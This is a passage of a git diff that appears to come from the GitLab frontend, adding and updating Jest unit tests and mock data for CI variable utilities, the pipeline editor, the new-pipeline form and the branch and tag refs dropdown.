+ createJoinedEnvironments,
+ convertEnvironmentScope,
+ mapEnvironmentNames,
+} from '~/ci/ci_variable_list/utils';
+import { allEnvironments } from '~/ci/ci_variable_list/constants';
+
+describe('utils', () => {
+ const environments = ['dev', 'prod'];
+ const newEnvironments = ['staging'];
+
+ describe('createJoinedEnvironments', () => {
+ it('returns only `environments` if `variables` argument is undefined', () => {
+ const variables = undefined;
+
+ expect(createJoinedEnvironments(variables, environments, [])).toEqual(environments);
+ });
+
+ it('returns a list of environments and environment scopes taken from variables in alphabetical order', () => {
+ const envScope1 = 'new1';
+ const envScope2 = 'new2';
+
+ const variables = [{ environmentScope: envScope1 }, { environmentScope: envScope2 }];
+
+ expect(createJoinedEnvironments(variables, environments, [])).toEqual([
+ environments[0],
+ envScope1,
+ envScope2,
+ environments[1],
+ ]);
+ });
+
+ it('returns combined list with new environments included', () => {
+ const variables = undefined;
+
+ expect(createJoinedEnvironments(variables, environments, newEnvironments)).toEqual([
+ ...environments,
+ ...newEnvironments,
+ ]);
+ });
+
+ it('removes duplicate environments', () => {
+ const envScope1 = environments[0];
+ const envScope2 = 'new2';
+
+ const variables = [{ environmentScope: envScope1 }, { environmentScope: envScope2 }];
+
+ expect(createJoinedEnvironments(variables, environments, [])).toEqual([
+ environments[0],
+ envScope2,
+ environments[1],
+ ]);
+ });
+ });
+
+ describe('convertEnvironmentScope', () => {
+ it('converts the * to the `All environments` text', () => {
+ expect(convertEnvironmentScope('*')).toBe(allEnvironments.text);
+ });
+
+ it('returns the environment as is if not the *', () => {
+ expect(convertEnvironmentScope('prod')).toBe('prod');
+ });
+ });
+
+ describe('mapEnvironmentNames', () => {
+ const envName = 'dev';
+ const envName2 = 'prod';
+
+ const nodes = [
+ { name: envName, otherProp: {} },
+ { name: envName2, otherProp: {} },
+ ];
+ it('flatten a nodes array with only their names', () => {
+ expect(mapEnvironmentNames(nodes)).toEqual([envName, envName2]);
+ });
+ });
+});
diff --git a/spec/frontend/ci/pipeline_editor/components/editor/text_editor_spec.js b/spec/frontend/ci/pipeline_editor/components/editor/text_editor_spec.js
index 63e23c41263..ec987be8cb8 100644
--- a/spec/frontend/ci/pipeline_editor/components/editor/text_editor_spec.js
+++ b/spec/frontend/ci/pipeline_editor/components/editor/text_editor_spec.js
@@ -26,14 +26,13 @@ describe('Pipeline Editor | Text editor component', () => {
props: ['value', 'fileName', 'editorOptions', 'debounceValue'],
};
- const createComponent = (glFeatures = {}, mountFn = shallowMount) => {
+ const createComponent = (mountFn = shallowMount) => {
wrapper = mountFn(TextEditor, {
provide: {
projectPath: mockProjectPath,
projectNamespace: mockProjectNamespace,
ciConfigPath: mockCiConfigPath,
defaultBranch: mockDefaultBranch,
- glFeatures,
},
propsData: {
commitSha: mockCommitSha,
@@ -107,28 +106,14 @@ describe('Pipeline Editor | Text editor component', () => {
});
describe('CI schema', () => {
- describe('when `schema_linting` feature flag is on', () => {
- beforeEach(() => {
- createComponent({ schemaLinting: true });
- findEditor().vm.$emit(EDITOR_READY_EVENT, editorInstanceDetail);
- });
-
- it('configures editor with syntax highlight', () => {
- expect(mockUse).toHaveBeenCalledTimes(1);
- expect(mockRegisterCiSchema).toHaveBeenCalledTimes(1);
- });
+ beforeEach(() => {
+ createComponent();
+ findEditor().vm.$emit(EDITOR_READY_EVENT, editorInstanceDetail);
});
- describe('when `schema_linting` feature flag is off', () => {
- beforeEach(() => {
- createComponent();
- findEditor().vm.$emit(EDITOR_READY_EVENT, editorInstanceDetail);
- });
-
- it('does not call the register CI schema function', () => {
- expect(mockUse).not.toHaveBeenCalled();
- expect(mockRegisterCiSchema).not.toHaveBeenCalled();
- });
+ it('configures editor with syntax highlight', () => {
+ expect(mockUse).toHaveBeenCalledTimes(1);
+ expect(mockRegisterCiSchema).toHaveBeenCalledTimes(1);
});
});
});
diff --git a/spec/frontend/ci/pipeline_editor/graphql/resolvers_spec.js b/spec/frontend/ci/pipeline_editor/graphql/resolvers_spec.js
index e54c72a758f..6a6cc3a14de 100644
--- a/spec/frontend/ci/pipeline_editor/graphql/resolvers_spec.js
+++ b/spec/frontend/ci/pipeline_editor/graphql/resolvers_spec.js
@@ -1,6 +1,6 @@
import MockAdapter from 'axios-mock-adapter';
import axios from '~/lib/utils/axios_utils';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_OK } from '~/lib/utils/http_status';
import { resolvers } from '~/ci/pipeline_editor/graphql/resolvers';
import { mockLintResponse } from '../mock_data';
@@ -20,7 +20,7 @@ describe('~/ci/pipeline_editor/graphql/resolvers', () => {
beforeEach(async () => {
mock = new MockAdapter(axios);
- mock.onPost(endpoint).reply(httpStatus.OK, mockLintResponse);
+ mock.onPost(endpoint).reply(HTTP_STATUS_OK, mockLintResponse);
result = await resolvers.Mutation.lintCI(null, {
endpoint,
diff --git a/spec/frontend/ci/pipeline_new/components/pipeline_new_form_spec.js b/spec/frontend/ci/pipeline_new/components/pipeline_new_form_spec.js
new file mode 100644
index 00000000000..cd16045f92d
--- /dev/null
+++ b/spec/frontend/ci/pipeline_new/components/pipeline_new_form_spec.js
@@ -0,0 +1,468 @@
+import Vue, { nextTick } from 'vue';
+import VueApollo from 'vue-apollo';
+import { GlForm, GlDropdownItem, GlSprintf, GlLoadingIcon } from '@gitlab/ui';
+import MockAdapter from 'axios-mock-adapter';
+import CreditCardValidationRequiredAlert from 'ee_component/billings/components/cc_validation_required_alert.vue';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import { shallowMountExtended, mountExtended } from 'helpers/vue_test_utils_helper';
+import { TEST_HOST } from 'helpers/test_constants';
+import waitForPromises from 'helpers/wait_for_promises';
+import axios from '~/lib/utils/axios_utils';
+import {
+ HTTP_STATUS_BAD_REQUEST,
+ HTTP_STATUS_INTERNAL_SERVER_ERROR,
+ HTTP_STATUS_OK,
+} from '~/lib/utils/http_status';
+import { redirectTo } from '~/lib/utils/url_utility';
+import PipelineNewForm from '~/ci/pipeline_new/components/pipeline_new_form.vue';
+import ciConfigVariablesQuery from '~/ci/pipeline_new/graphql/queries/ci_config_variables.graphql';
+import { resolvers } from '~/ci/pipeline_new/graphql/resolvers';
+import RefsDropdown from '~/ci/pipeline_new/components/refs_dropdown.vue';
+import {
+ mockCreditCardValidationRequiredError,
+ mockCiConfigVariablesResponse,
+ mockCiConfigVariablesResponseWithoutDesc,
+ mockEmptyCiConfigVariablesResponse,
+ mockError,
+ mockQueryParams,
+ mockPostParams,
+ mockProjectId,
+ mockRefs,
+ mockYamlVariables,
+} from '../mock_data';
+
+Vue.use(VueApollo);
+
+jest.mock('~/lib/utils/url_utility', () => ({
+ redirectTo: jest.fn(),
+}));
+
+const projectRefsEndpoint = '/root/project/refs';
+const pipelinesPath = '/root/project/-/pipelines';
+const projectPath = '/root/project/-/pipelines/config_variables';
+const newPipelinePostResponse = { id: 1 };
+const defaultBranch = 'main';
+
+describe('Pipeline New Form', () => {
+ let wrapper;
+ let mock;
+ let mockApollo;
+ let mockCiConfigVariables;
+ let dummySubmitEvent;
+
+ const findForm = () => wrapper.findComponent(GlForm);
+ const findRefsDropdown = () => wrapper.findComponent(RefsDropdown);
+ const findSubmitButton = () => wrapper.findByTestId('run_pipeline_button');
+ const findVariableRows = () => wrapper.findAllByTestId('ci-variable-row');
+ const findRemoveIcons = () => wrapper.findAllByTestId('remove-ci-variable-row');
+ const findVariableTypes = () => wrapper.findAllByTestId('pipeline-form-ci-variable-type');
+ const findKeyInputs = () => wrapper.findAllByTestId('pipeline-form-ci-variable-key');
+ const findValueInputs = () => wrapper.findAllByTestId('pipeline-form-ci-variable-value');
+ const findValueDropdowns = () =>
+ wrapper.findAllByTestId('pipeline-form-ci-variable-value-dropdown');
+ const findValueDropdownItems = (dropdown) => dropdown.findAllComponents(GlDropdownItem);
+ const findErrorAlert = () => wrapper.findByTestId('run-pipeline-error-alert');
+ const findWarningAlert = () => wrapper.findByTestId('run-pipeline-warning-alert');
+ const findWarningAlertSummary = () => findWarningAlert().findComponent(GlSprintf);
+ const findWarnings = () => wrapper.findAllByTestId('run-pipeline-warning');
+ const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
+ const findCCAlert = () => wrapper.findComponent(CreditCardValidationRequiredAlert);
+ const getFormPostParams = () => JSON.parse(mock.history.post[0].data);
+
+ const selectBranch = async (branch) => {
+ // Select a branch in the dropdown
+ findRefsDropdown().vm.$emit('input', {
+ shortName: branch,
+ fullName: `refs/heads/${branch}`,
+ });
+
+ await waitForPromises();
+ };
+
+ const changeKeyInputValue = async (keyInputIndex, value) => {
+ const input = findKeyInputs().at(keyInputIndex);
+ input.element.value = value;
+ input.trigger('change');
+
+ await nextTick();
+ };
+
+ const createComponentWithApollo = ({ method = shallowMountExtended, props = {} } = {}) => {
+ const handlers = [[ciConfigVariablesQuery, mockCiConfigVariables]];
+ mockApollo = createMockApollo(handlers, resolvers);
+
+ wrapper = method(PipelineNewForm, {
+ apolloProvider: mockApollo,
+ provide: {
+ projectRefsEndpoint,
+ },
+ propsData: {
+ projectId: mockProjectId,
+ pipelinesPath,
+ projectPath,
+ defaultBranch,
+ refParam: defaultBranch,
+ settingsLink: '',
+ maxWarnings: 25,
+ ...props,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ mockCiConfigVariables = jest.fn();
+ mock.onGet(projectRefsEndpoint).reply(HTTP_STATUS_OK, mockRefs);
+
+ dummySubmitEvent = {
+ preventDefault: jest.fn(),
+ };
+ });
+
+ afterEach(() => {
+ mock.restore();
+ wrapper.destroy();
+ });
+
+ describe('Form', () => {
+ beforeEach(async () => {
+ mockCiConfigVariables.mockResolvedValue(mockEmptyCiConfigVariablesResponse);
+ createComponentWithApollo({ props: mockQueryParams, method: mountExtended });
+ await waitForPromises();
+ });
+
+ it('displays the correct values for the provided query params', async () => {
+ expect(findVariableTypes().at(0).props('text')).toBe('Variable');
+ expect(findVariableTypes().at(1).props('text')).toBe('File');
+ expect(findRefsDropdown().props('value')).toEqual({ shortName: 'tag-1' });
+ expect(findVariableRows()).toHaveLength(3);
+ });
+
+ it('displays a variable from provided query params', () => {
+ expect(findKeyInputs().at(0).element.value).toBe('test_var');
+ expect(findValueInputs().at(0).element.value).toBe('test_var_val');
+ });
+
+ it('displays an empty variable for the user to fill out', async () => {
+ expect(findKeyInputs().at(2).element.value).toBe('');
+ expect(findValueInputs().at(2).element.value).toBe('');
+ expect(findVariableTypes().at(2).props('text')).toBe('Variable');
+ });
+
+ it('does not display remove icon for last row', () => {
+ expect(findRemoveIcons()).toHaveLength(2);
+ });
+
+ it('removes ci variable row on remove icon button click', async () => {
+ findRemoveIcons().at(1).trigger('click');
+
+ await nextTick();
+
+ expect(findVariableRows()).toHaveLength(2);
+ });
+
+ it('creates blank variable on input change event', async () => {
+ const input = findKeyInputs().at(2);
+ input.element.value = 'test_var_2';
+ input.trigger('change');
+
+ await nextTick();
+
+ expect(findVariableRows()).toHaveLength(4);
+ expect(findKeyInputs().at(3).element.value).toBe('');
+ expect(findValueInputs().at(3).element.value).toBe('');
+ });
+ });
+
+ describe('Pipeline creation', () => {
+ beforeEach(async () => {
+ mockCiConfigVariables.mockResolvedValue(mockEmptyCiConfigVariablesResponse);
+ mock.onPost(pipelinesPath).reply(HTTP_STATUS_OK, newPipelinePostResponse);
+ });
+
+ it('does not submit the native HTML form', async () => {
+ createComponentWithApollo();
+
+ findForm().vm.$emit('submit', dummySubmitEvent);
+
+ expect(dummySubmitEvent.preventDefault).toHaveBeenCalled();
+ });
+
+ it('disables the submit button immediately after submitting', async () => {
+ createComponentWithApollo();
+
+ expect(findSubmitButton().props('disabled')).toBe(false);
+
+ findForm().vm.$emit('submit', dummySubmitEvent);
+ await waitForPromises();
+
+ expect(findSubmitButton().props('disabled')).toBe(true);
+ });
+
+ it('creates pipeline with full ref and variables', async () => {
+ createComponentWithApollo();
+
+ findForm().vm.$emit('submit', dummySubmitEvent);
+ await waitForPromises();
+
+ expect(getFormPostParams().ref).toEqual(`refs/heads/${defaultBranch}`);
+ expect(redirectTo).toHaveBeenCalledWith(`${pipelinesPath}/${newPipelinePostResponse.id}`);
+ });
+
+ it('creates a pipeline with short ref and variables from the query params', async () => {
+ createComponentWithApollo({ props: mockQueryParams });
+
+ await waitForPromises();
+
+ findForm().vm.$emit('submit', dummySubmitEvent);
+
+ await waitForPromises();
+
+ expect(getFormPostParams()).toEqual(mockPostParams);
+ expect(redirectTo).toHaveBeenCalledWith(`${pipelinesPath}/${newPipelinePostResponse.id}`);
+ });
+ });
+
+ describe('When the ref has been changed', () => {
+ beforeEach(async () => {
+ mockCiConfigVariables.mockResolvedValue(mockEmptyCiConfigVariablesResponse);
+ createComponentWithApollo({ method: mountExtended });
+
+ await waitForPromises();
+ });
+
+ it('variables persist between ref changes', async () => {
+ await selectBranch('main');
+ await changeKeyInputValue(0, 'build_var');
+
+ await selectBranch('branch-1');
+ await changeKeyInputValue(0, 'deploy_var');
+
+ await selectBranch('main');
+
+ expect(findKeyInputs().at(0).element.value).toBe('build_var');
+ expect(findVariableRows().length).toBe(2);
+
+ await selectBranch('branch-1');
+
+ expect(findKeyInputs().at(0).element.value).toBe('deploy_var');
+ expect(findVariableRows().length).toBe(2);
+ });
+
+ it('skips query call when form variables are already cached', async () => {
+ await selectBranch('main');
+ await changeKeyInputValue(0, 'build_var');
+
+ expect(mockCiConfigVariables).toHaveBeenCalledTimes(1);
+
+ await selectBranch('branch-1');
+
+ expect(mockCiConfigVariables).toHaveBeenCalledTimes(2);
+
+ // no additional call since `main` form values have been cached
+ await selectBranch('main');
+
+ expect(mockCiConfigVariables).toHaveBeenCalledTimes(2);
+ });
+ });
+
+ describe('when yml defines a variable', () => {
+ it('loading icon is shown when content is requested and hidden when received', async () => {
+ mockCiConfigVariables.mockResolvedValue(mockEmptyCiConfigVariablesResponse);
+ createComponentWithApollo({ props: mockQueryParams, method: mountExtended });
+
+ expect(findLoadingIcon().exists()).toBe(true);
+
+ await waitForPromises();
+
+ expect(findLoadingIcon().exists()).toBe(false);
+ });
+
+ describe('with different predefined values', () => {
+ beforeEach(async () => {
+ mockCiConfigVariables.mockResolvedValue(mockCiConfigVariablesResponse);
+ createComponentWithApollo({ method: mountExtended });
+ await waitForPromises();
+ });
+
+ it('multi-line strings are added to the value field without removing line breaks', () => {
+ expect(findValueInputs().at(1).element.value).toBe(mockYamlVariables[1].value);
+ });
+
+ it('multiple predefined values are rendered as a dropdown', () => {
+ const dropdown = findValueDropdowns().at(0);
+ const dropdownItems = findValueDropdownItems(dropdown);
+ const { valueOptions } = mockYamlVariables[2];
+
+ expect(dropdownItems.at(0).text()).toBe(valueOptions[0]);
+ expect(dropdownItems.at(1).text()).toBe(valueOptions[1]);
+ expect(dropdownItems.at(2).text()).toBe(valueOptions[2]);
+ });
+
+ it('variable with multiple predefined values sets value as the default', () => {
+ const dropdown = findValueDropdowns().at(0);
+ const { valueOptions } = mockYamlVariables[2];
+
+ expect(dropdown.props('text')).toBe(valueOptions[1]);
+ });
+ });
+
+ describe('with description', () => {
+ beforeEach(async () => {
+ mockCiConfigVariables.mockResolvedValue(mockCiConfigVariablesResponse);
+ createComponentWithApollo({ props: mockQueryParams, method: mountExtended });
+ await waitForPromises();
+ });
+
+ it('displays all the variables', async () => {
+ expect(findVariableRows()).toHaveLength(6);
+ });
+
+ it('displays a variable from yml', () => {
+ expect(findKeyInputs().at(0).element.value).toBe(mockYamlVariables[0].key);
+ expect(findValueInputs().at(0).element.value).toBe(mockYamlVariables[0].value);
+ });
+
+ it('displays a variable from provided query params', () => {
+ expect(findKeyInputs().at(3).element.value).toBe(
+ Object.keys(mockQueryParams.variableParams)[0],
+ );
+ expect(findValueInputs().at(3).element.value).toBe(
+ Object.values(mockQueryParams.fileParams)[0],
+ );
+ });
+
+ it('adds a description to the first variable from yml', () => {
+ expect(findVariableRows().at(0).text()).toContain(mockYamlVariables[0].description);
+ });
+
+ it('removes the description when a variable key changes', async () => {
+ findKeyInputs().at(0).element.value = 'yml_var_modified';
+ findKeyInputs().at(0).trigger('change');
+
+ await nextTick();
+
+ expect(findVariableRows().at(0).text()).not.toContain(mockYamlVariables[0].description);
+ });
+ });
+
+ describe('without description', () => {
+ beforeEach(async () => {
+ mockCiConfigVariables.mockResolvedValue(mockCiConfigVariablesResponseWithoutDesc);
+ createComponentWithApollo({ method: mountExtended });
+ await waitForPromises();
+ });
+
+ it('displays variables with description only', async () => {
+ expect(findVariableRows()).toHaveLength(2); // extra empty variable is added at the end
+ });
+ });
+ });
+
+ describe('Form errors and warnings', () => {
+ beforeEach(() => {
+ mockCiConfigVariables.mockResolvedValue(mockEmptyCiConfigVariablesResponse);
+ createComponentWithApollo();
+ });
+
+ describe('when the refs cannot be loaded', () => {
+ beforeEach(() => {
+ mock
+ .onGet(projectRefsEndpoint, { params: { search: '' } })
+ .reply(HTTP_STATUS_INTERNAL_SERVER_ERROR);
+
+ findRefsDropdown().vm.$emit('loadingError');
+ });
+
+ it('shows both an error alert', () => {
+ expect(findErrorAlert().exists()).toBe(true);
+ expect(findWarningAlert().exists()).toBe(false);
+ });
+ });
+
+ describe('when the error response can be handled', () => {
+ beforeEach(async () => {
+ mock.onPost(pipelinesPath).reply(HTTP_STATUS_BAD_REQUEST, mockError);
+
+ findForm().vm.$emit('submit', dummySubmitEvent);
+
+ await waitForPromises();
+ });
+
+ it('shows both error and warning', () => {
+ expect(findErrorAlert().exists()).toBe(true);
+ expect(findWarningAlert().exists()).toBe(true);
+ });
+
+ it('shows the correct error', () => {
+ expect(findErrorAlert().text()).toBe(mockError.errors[0]);
+ });
+
+ it('shows the correct warning title', () => {
+ const { length } = mockError.warnings;
+
+ expect(findWarningAlertSummary().attributes('message')).toBe(`${length} warnings found:`);
+ });
+
+ it('shows the correct amount of warnings', () => {
+ expect(findWarnings()).toHaveLength(mockError.warnings.length);
+ });
+
+ it('re-enables the submit button', () => {
+ expect(findSubmitButton().props('disabled')).toBe(false);
+ });
+
+ it('does not show the credit card validation required alert', () => {
+ expect(findCCAlert().exists()).toBe(false);
+ });
+
+ describe('when the error response is credit card validation required', () => {
+ beforeEach(async () => {
+ mock
+ .onPost(pipelinesPath)
+ .reply(HTTP_STATUS_BAD_REQUEST, mockCreditCardValidationRequiredError);
+
+ window.gon = {
+ subscriptions_url: TEST_HOST,
+ payment_form_url: TEST_HOST,
+ };
+
+ findForm().vm.$emit('submit', dummySubmitEvent);
+
+ await waitForPromises();
+ });
+
+ it('shows credit card validation required alert', () => {
+ expect(findErrorAlert().exists()).toBe(false);
+ expect(findCCAlert().exists()).toBe(true);
+ });
+
+ it('clears error and hides the alert on dismiss', async () => {
+ expect(findCCAlert().exists()).toBe(true);
+ expect(wrapper.vm.$data.error).toBe(mockCreditCardValidationRequiredError.errors[0]);
+
+ findCCAlert().vm.$emit('dismiss');
+
+ await nextTick();
+
+ expect(findCCAlert().exists()).toBe(false);
+ expect(wrapper.vm.$data.error).toBe(null);
+ });
+ });
+ });
+
+ describe('when the error response cannot be handled', () => {
+ beforeEach(async () => {
+ mock.onPost(pipelinesPath).reply(HTTP_STATUS_INTERNAL_SERVER_ERROR, 'something went wrong');
+
+ findForm().vm.$emit('submit', dummySubmitEvent);
+
+ await waitForPromises();
+ });
+
+ it('re-enables the submit button', () => {
+ expect(findSubmitButton().props('disabled')).toBe(false);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/ci/pipeline_new/components/refs_dropdown_spec.js b/spec/frontend/ci/pipeline_new/components/refs_dropdown_spec.js
new file mode 100644
index 00000000000..cf8009e388f
--- /dev/null
+++ b/spec/frontend/ci/pipeline_new/components/refs_dropdown_spec.js
@@ -0,0 +1,201 @@
+import { GlListbox, GlListboxItem } from '@gitlab/ui';
+import MockAdapter from 'axios-mock-adapter';
+import { mountExtended, shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import axios from '~/lib/utils/axios_utils';
+import { HTTP_STATUS_INTERNAL_SERVER_ERROR, HTTP_STATUS_OK } from '~/lib/utils/http_status';
+
+import RefsDropdown from '~/ci/pipeline_new/components/refs_dropdown.vue';
+
+import { mockBranches, mockRefs, mockFilteredRefs, mockTags } from '../mock_data';
+
+const projectRefsEndpoint = '/root/project/refs';
+const refShortName = 'main';
+const refFullName = 'refs/heads/main';
+
+jest.mock('~/flash');
+
+describe('Pipeline New Form', () => {
+ let wrapper;
+ let mock;
+
+ const findDropdown = () => wrapper.findComponent(GlListbox);
+ const findRefsDropdownItems = () => wrapper.findAllComponents(GlListboxItem);
+ const findSearchBox = () => wrapper.findByTestId('listbox-search-input');
+ const findListboxGroups = () => wrapper.findAll('ul[role="group"]');
+
+ const createComponent = (props = {}, mountFn = shallowMountExtended) => {
+ wrapper = mountFn(RefsDropdown, {
+ provide: {
+ projectRefsEndpoint,
+ },
+ propsData: {
+ value: {
+ shortName: refShortName,
+ fullName: refFullName,
+ },
+ ...props,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ mock.onGet(projectRefsEndpoint, { params: { search: '' } }).reply(HTTP_STATUS_OK, mockRefs);
+ });
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('displays empty dropdown initially', () => {
+ findDropdown().vm.$emit('shown');
+
+ expect(findRefsDropdownItems()).toHaveLength(0);
+ });
+
+ it('does not make requests immediately', async () => {
+ expect(mock.history.get).toHaveLength(0);
+ });
+
+ describe('when user opens dropdown', () => {
+ beforeEach(async () => {
+ createComponent({}, mountExtended);
+ findDropdown().vm.$emit('shown');
+ await waitForPromises();
+ });
+
+ it('requests unfiltered tags and branches', () => {
+ expect(mock.history.get).toHaveLength(1);
+ expect(mock.history.get[0].url).toBe(projectRefsEndpoint);
+ expect(mock.history.get[0].params).toEqual({ search: '' });
+ });
+
+ it('displays dropdown with branches and tags', () => {
+ const refLength = mockRefs.Tags.length + mockRefs.Branches.length;
+ expect(findRefsDropdownItems()).toHaveLength(refLength);
+ });
+
+ it('displays the names of refs', () => {
+ // Branches
+ expect(findRefsDropdownItems().at(0).text()).toBe(mockRefs.Branches[0]);
+
+ // Tags (appear after branches)
+ const firstTag = mockRefs.Branches.length;
+ expect(findRefsDropdownItems().at(firstTag).text()).toBe(mockRefs.Tags[0]);
+ });
+
+ it('when user shows dropdown a second time, only one request is done', () => {
+ expect(mock.history.get).toHaveLength(1);
+ });
+
+ describe('when user selects a value', () => {
+ const selectedIndex = 1;
+
+ beforeEach(async () => {
+ findRefsDropdownItems().at(selectedIndex).vm.$emit('select', 'refs/heads/branch-1');
+ await waitForPromises();
+ });
+
+ it('component emits @input', () => {
+ const inputs = wrapper.emitted('input');
+
+ expect(inputs).toHaveLength(1);
+ expect(inputs[0]).toEqual([{ shortName: 'branch-1', fullName: 'refs/heads/branch-1' }]);
+ });
+ });
+
+ describe('when user types searches for a tag', () => {
+ const mockSearchTerm = 'my-search';
+
+ beforeEach(async () => {
+ mock
+ .onGet(projectRefsEndpoint, { params: { search: mockSearchTerm } })
+ .reply(HTTP_STATUS_OK, mockFilteredRefs);
+
+ await findSearchBox().vm.$emit('input', mockSearchTerm);
+ await waitForPromises();
+ });
+
+ it('requests filtered tags and branches', async () => {
+ expect(mock.history.get).toHaveLength(2);
+ expect(mock.history.get[1].params).toEqual({
+ search: mockSearchTerm,
+ });
+ });
+
+ it('displays dropdown with branches and tags', async () => {
+ const filteredRefLength = mockFilteredRefs.Tags.length + mockFilteredRefs.Branches.length;
+
+ expect(findRefsDropdownItems()).toHaveLength(filteredRefLength);
+ });
+ });
+ });
+
+ describe('when user has selected a value', () => {
+ const selectedIndex = 1;
+ const mockShortName = mockRefs.Branches[selectedIndex];
+ const mockFullName = `refs/heads/${mockShortName}`;
+
+ beforeEach(async () => {
+ mock
+ .onGet(projectRefsEndpoint, {
+ params: { ref: mockFullName },
+ })
+ .reply(HTTP_STATUS_OK, mockRefs);
+
+ createComponent(
+ {
+ value: {
+ shortName: mockShortName,
+ fullName: mockFullName,
+ },
+ },
+ mountExtended,
+ );
+ findDropdown().vm.$emit('shown');
+ await waitForPromises();
+ });
+
+ it('branch is checked', () => {
+ expect(findRefsDropdownItems().at(selectedIndex).props('isSelected')).toBe(true);
+ });
+ });
+
+ describe('when server returns an error', () => {
+ beforeEach(async () => {
+ mock
+ .onGet(projectRefsEndpoint, { params: { search: '' } })
+ .reply(HTTP_STATUS_INTERNAL_SERVER_ERROR);
+
+ findDropdown().vm.$emit('shown');
+ await waitForPromises();
+ });
+
+ it('loading error event is emitted', () => {
+ expect(wrapper.emitted('loadingError')).toHaveLength(1);
+ expect(wrapper.emitted('loadingError')[0]).toEqual([expect.any(Error)]);
+ });
+ });
+
+ describe('should display branches and tags based on its length', () => {
+ it.each`
+ mockData | expectedGroupLength | expectedListboxItemsLength
+ ${{ ...mockBranches, Tags: [] }} | ${1} | ${mockBranches.Branches.length}
+ ${{ Branches: [], ...mockTags }} | ${1} | ${mockTags.Tags.length}
+ ${{ ...mockRefs }} | ${2} | ${mockBranches.Branches.length + mockTags.Tags.length}
+ ${{ Branches: undefined, Tags: undefined }} | ${0} | ${0}
+ `(
+ 'should render branches and tags based on presence',
+ async ({ mockData, expectedGroupLength, expectedListboxItemsLength }) => {
+ mock.onGet(projectRefsEndpoint, { params: { search: '' } }).reply(HTTP_STATUS_OK, mockData);
+ createComponent({}, mountExtended);
+ findDropdown().vm.$emit('shown');
+ await waitForPromises();
+
+ expect(findListboxGroups()).toHaveLength(expectedGroupLength);
+ expect(findRefsDropdownItems()).toHaveLength(expectedListboxItemsLength);
+ },
+ );
+ });
+});
diff --git a/spec/frontend/ci/pipeline_new/mock_data.js b/spec/frontend/ci/pipeline_new/mock_data.js
new file mode 100644
index 00000000000..dfb643a0ba4
--- /dev/null
+++ b/spec/frontend/ci/pipeline_new/mock_data.js
@@ -0,0 +1,134 @@
+export const mockBranches = {
+ Branches: ['main', 'branch-1', 'branch-2'],
+};
+
+export const mockTags = {
+ Tags: ['1.0.0', '1.1.0', '1.2.0'],
+};
+
+export const mockRefs = {
+ ...mockBranches,
+ ...mockTags,
+};
+
+export const mockFilteredRefs = {
+ Branches: ['branch-1'],
+ Tags: ['1.0.0', '1.1.0'],
+};
+
+export const mockQueryParams = {
+ refParam: 'tag-1',
+ variableParams: {
+ test_var: 'test_var_val',
+ },
+ fileParams: {
+ test_file: 'test_file_val',
+ },
+};
+
+export const mockProjectId = '21';
+
+export const mockPostParams = {
+ ref: 'tag-1',
+ variables_attributes: [
+ { key: 'test_var', secret_value: 'test_var_val', variable_type: 'env_var' },
+ { key: 'test_file', secret_value: 'test_file_val', variable_type: 'file' },
+ ],
+};
+
+export const mockError = {
+ errors: [
+ 'test job: chosen stage does not exist; available stages are .pre, build, test, deploy, .post',
+ ],
+ warnings: [
+ 'jobs:build1 may allow multiple pipelines to run for a single action due to `rules:when` clause with no `workflow:rules` - read more: https://docs.gitlab.com/ee/ci/troubleshooting.html#pipeline-warnings',
+ 'jobs:build2 may allow multiple pipelines to run for a single action due to `rules:when` clause with no `workflow:rules` - read more: https://docs.gitlab.com/ee/ci/troubleshooting.html#pipeline-warnings',
+ 'jobs:build3 may allow multiple pipelines to run for a single action due to `rules:when` clause with no `workflow:rules` - read more: https://docs.gitlab.com/ee/ci/troubleshooting.html#pipeline-warnings',
+ ],
+ total_warnings: 7,
+};
+
+export const mockCreditCardValidationRequiredError = {
+ errors: ['Credit card required to be on file in order to create a pipeline'],
+ warnings: [],
+ total_warnings: 0,
+};
+
+export const mockBranchRefs = ['main', 'dev', 'release'];
+
+export const mockTagRefs = ['1.0.0', '1.1.0', '1.2.0'];
+
+export const mockVariables = [
+ {
+ uniqueId: 'var-refs/heads/main2',
+ variable_type: 'env_var',
+ key: 'var_without_value',
+ value: '',
+ },
+ {
+ uniqueId: 'var-refs/heads/main3',
+ variable_type: 'env_var',
+ key: 'var_with_value',
+ value: 'test_value',
+ },
+ { uniqueId: 'var-refs/heads/main4', variable_type: 'env_var', key: '', value: '' },
+];
+
+export const mockYamlVariables = [
+ {
+ description: 'This is a variable with a value.',
+ key: 'VAR_WITH_VALUE',
+ value: 'test_value',
+ valueOptions: null,
+ },
+ {
+ description: 'This is a variable with a multi-line value.',
+ key: 'VAR_WITH_MULTILINE',
+ value: `this is
+ a multiline value`,
+ valueOptions: null,
+ },
+ {
+ description: 'This is a variable with predefined values.',
+ key: 'VAR_WITH_OPTIONS',
+ value: 'staging',
+ valueOptions: ['development', 'staging', 'production'],
+ },
+];
+
+export const mockYamlVariablesWithoutDesc = [
+ {
+ description: 'This is a variable with a value.',
+ key: 'VAR_WITH_VALUE',
+ value: 'test_value',
+ valueOptions: null,
+ },
+ {
+ description: null,
+ key: 'VAR_WITH_MULTILINE',
+ value: `this is
+ a multiline value`,
+ valueOptions: null,
+ },
+ {
+ description: null,
+ key: 'VAR_WITH_OPTIONS',
+ value: 'staging',
+ valueOptions: ['development', 'staging', 'production'],
+ },
+];
+
+export const mockCiConfigVariablesQueryResponse = (ciConfigVariables) => ({
+ data: {
+ project: {
+ id: 1,
+ ciConfigVariables,
+ },
+ },
+});
+
+export const mockCiConfigVariablesResponse = mockCiConfigVariablesQueryResponse(mockYamlVariables);
+export const mockEmptyCiConfigVariablesResponse = mockCiConfigVariablesQueryResponse([]);
+export const mockCiConfigVariablesResponseWithoutDesc = mockCiConfigVariablesQueryResponse(
+ mockYamlVariablesWithoutDesc,
+);
diff --git a/spec/frontend/ci/pipeline_new/utils/filter_variables_spec.js b/spec/frontend/ci/pipeline_new/utils/filter_variables_spec.js
new file mode 100644
index 00000000000..d1b89704b58
--- /dev/null
